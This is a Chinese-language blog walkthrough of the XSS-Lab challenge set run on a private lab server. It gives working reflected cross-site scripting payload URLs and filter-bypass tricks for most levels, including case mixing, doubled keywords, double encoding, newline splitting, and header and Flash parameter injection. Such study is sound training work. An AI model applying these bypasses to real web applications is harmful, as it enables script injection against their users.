XSS-Lab 过关

很久之前的XSS-Lab实验记录,权当凑数。

level1

首先审查元素,明确输入的payload在页面中的位置。

image-20201128111226621

显然,这里需要闭合<h2>标签,然后跟上js代码。

因为是第一关,没有特别的过滤,直接闭合就好了。

http://192.168.68.219/xss/level1.php?name=test

image-20201128111106471

level2

html实体编码

这里要往表单input标签里面注入
http://192.168.68.219/xss/level2.php?keyword=aa%22%3E%3Cscript%3Ealert(1);%3C/script%3E

image-20200715144909149

level3

<>被实体编码拦截,但是加'或者"会使得浏览器自动补全。

image-20201128120223330

这里关注input标签,使用onfocus=alert(1) autofocus移动光标到元素上(或者点击)就可以触发弹窗。
[http://192.168.68.219/xss/level3.php?keyword=11%27%20onfocus=alert(1)%20autofocus](http://192.168.68.219/xss/level3.php?keyword=11' onfocus=alert(1) autofocus)

image-20200715151535637

image-20201128111939700

level4

这里会在=后面添加"于是onfocus=alert(1)不大行了(其实还是可以触发弹窗,不过不能触发window.alert()
既然会自动添加",那么刚好用”javascript:xxxx”的方式来绕过。(好吧这个也不能触发跳转
[http://192.168.68.219/xss/level4.php?keyword=123%27%22%20onfocus=%22javascript:alert%281%29](http://192.168.68.219/xss/level4.php?keyword=123'" onfocus=”javascript:alert(1))

image-20200715152933866

level5

过滤了script->s_cript onload->o_nload
不知道为什么javascript:alert(1)没反应,明明解析出来都没问题。

[http://192.168.68.219/xss/level5.php?keyword=11111%22%20%3E%3Ca%20value=%2711111%27%20href=%22javascript:alert(1)](http://192.168.68.219/xss/level5.php?keyword=11111" >

image-20200715160658462

[http://192.168.68.219/xss/level5.php?keyword=11111%22%20%3E%3Cimg%20src=level5.png%20style=%22javascript:alert%281%29](http://192.168.68.219/xss/level5.php?keyword=11111" >

image-20200715160638311

level6

href->hr_ef
src->sr_c

懂了,原来考的是大小写绕过,那么前面几个题也可以按照这种方法来过。

[http://192.168.68.219/xss/level6.php?keyword=111%22%20%3E%3CscRipt%3Ealert(1)%3C/scrIpt%3E](http://192.168.68.219/xss/level6.php?keyword=111" >alert(1))

level7

存在关键词过滤,这里可以使用双写关键字绕过过滤,并不能使用大小写绕过。

image-20201128113421841

image-20201128113531000

[http://192.168.68.219/xss/level7.php?keyword=%22%20%3E%3Cscscriptript%3Ealert(1)%3C/scriscriptpt%3E](http://192.168.68.219/xss/level7.php?keyword=" >alert(1))

image-20201128112539027

level8

非常神奇地在这儿卡了半天,因为一些编码的问题。

审计PHP的源代码,发现过滤了script等关键字,当然可以通过实体编码绕过,比如hex或者unicode,但是要命的是hex有可能在浏览器中被自动解码再发送,而unicode是以&#开头。在url中,&用来分割参数,#之后的部分不向后端发送,只在本地被使用(比如锚点定位)。

keyword=javascrip&#116;:alert(1),在后端,keyword只接受到javascrip,非常难过。

image-20201128114131808

又如keyword=%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29,只使用一次urlhex编码,然后被浏览器自动解码。

image-20201128114214613

solution

解决办法是使用两次编码,先unicode 后 urlhex。

javascript:alert(1)

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B

payload:keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B

image-20201128114408003

level9

在level8的基础之上,会检查网址格式是否包含http://,所以直接alert(‘http://‘)就好,其余和level8一样,只需要编码javascript就好。

level9.php?keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B:alert(%27http://%27)

level10

检查到有三个隐藏的参数,那么首先就是要取消隐藏属性,然后构造xss触发弹窗就好,貌似没有之前的考点。

level10.php?keyword=well%20done!&t_sort=a"%20onfocus=javascript:alert(1)%20autofocus%20type="on

level10.php?keyword=well%20done!&t_sort=a"%20onmouseover=javascript:alert(1)%20autofocus%20type="on

level11

这一关比较有意思,虽然t_sort可以被操纵,但是被编码了,没有利用的办法。注入点在refer里,所以只是把level10的payload写在refer里面就好。
Firefox好像可以拦截请求修改之后再放出去,但是没有取了解,这里用的是burp。

image-20200715204721930

image-20200715204737776

image-20200715204810094

level12

类似的,只是注入的是useragent

image-20200715210259484

image-20200715210328418

level13

仍然是类似的,注入的是cookie

image-20200715210549269

level14–

不会,看了WP也不会的那种。

https://xz.aliyun.com/t/1206?accounttraceid=74ab404d-2a01-4a1c-8b87-36ad367dbe11#toc-12

level15–

angular倒是很有意思,但是不会。

https://www.runoob.com/angularjs/angularjs-intro.html

加载angular.js要科学上网,上网回来请求多了这一坨回来不知道怎么回事儿。

image-20200716114658159

然后console里面就这样了,看上去level1.php是请求了,但是没有被加载到页面里。

image-20200716115010742

level16

一开始仿照以前的两次编码,写了这个payload,但是关键字不能被解析,反而一直被当成文本,想来可能是两次编码的问题。

level16.php?keyword=111%26%2360%3B%26%2347%3B%26%2399%3B%26%23101%3B%26%23110%3B%26%23116%3B%26%23101%3B%26%23114%3B%26%2362%3B%26%2360%3B%26%23105%3B%26%23109%3B%26%23103%3B%26%2332%3B%26%23115%3B%26%23114%3B%26%2399%3B%26%2361%3B%26%2349%3B%26%2332%3B%26%23111%3B%26%23110%3B%26%23101%3B%26%23114%3B%26%23114%3B%26%23111%3B%26%23114%3B%26%2361%3B%26%2334%3B%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B%26%2334%3B%26%2362%3B%26%2360%3B%26%2399%3B%26%23101%3B%26%23110%3B%26%23116%3B%26%23101%3B%26%23114%3B%26%2362%3B

image-20200716091758748

后面还是上网了,看到可以用%0d(tab)和%0a(换行)来截断。

level16.php?keyword=1111%3Cimg%0asrc=1%0aonerror=%22javascript:alert(1)%22%3E%3Ccenter%3E

level17

审查元素,可以发现GET参数实则是Flash脚本的参数。

通过查询flash xss相关文章,可以了解到jsFunction是个关键,构造payload使得jsFunction这个关键字被解析,从而跳出了src属性,然后使用常用的onmouseover属性方法加载xss payload。

jsFunction被解析为属性名。

image-20201128115239376

然后使用onmouseover或者其他方法执行alert()语句,如果过滤空格,根据level16,可以用%0a绕过。

?arg01=1111"&arg02=eeeeee%20jsFunction%0aonmouseover=javascript:alert(1)

image-20201128115638195

level18

同样的套路。

?arg01=a&arg02=b%20jsFunction%20onmouseover=javascript:alert(1)

level19

https://www.freesion.com/article/6253464226/

抄袭payloadarg01=version&arg02=%3Ca%20href=%22javascript:alert(/xss/)%22%20onerror=%22javascript:alert(1)%22%3Exss%3C/a%3E

level20

竟然还需要逆向swf,那就只好抄了。

https://blog.csdn.net/u014029795/article/details/103217680

Welcome to my other publishing channels